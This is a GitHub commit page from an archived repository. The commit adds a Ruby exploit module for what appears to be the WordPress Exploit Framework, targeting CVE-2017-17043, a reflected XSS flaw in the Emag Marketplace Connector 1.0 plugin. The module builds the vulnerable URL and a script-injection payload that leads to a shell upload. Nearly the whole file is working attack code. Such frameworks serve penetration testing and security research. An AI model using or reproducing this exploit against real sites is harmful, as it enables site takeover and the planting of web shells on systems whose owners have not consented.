Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 2eede79

Browse files
committed
Add Emag Marketplace Connector 1.0 reflected XSS shell upload
1 parent 9f32dc0 commit 2eede79

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::EmagMarketplaceConnectorXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Emag Marketplace Connector 1.0 Reflected XSS Shell Upload',
11+
author: [
12+
'Ricardo Sanchez', # Dislosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2017-17043'],
17+
['WPVDB', '8964']
18+
],
19+
date: 'Nov 21 2017'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('emag-marketplace-connector', '1.1')
25+
end
26+
27+
def vulnerable_url
28+
normalize_uri(wordpress_url_plugins, 'emag-marketplace-connector', 'templates', 'order', 'awb-meta-box.php')
29+
end
30+
31+
def xss_payload
32+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
33+
end
34+
35+
def url_with_xss
36+
"#{vulnerable_url}?post=#{xss_payload}"
37+
end
38+
end

0 commit comments

Comments
 (0)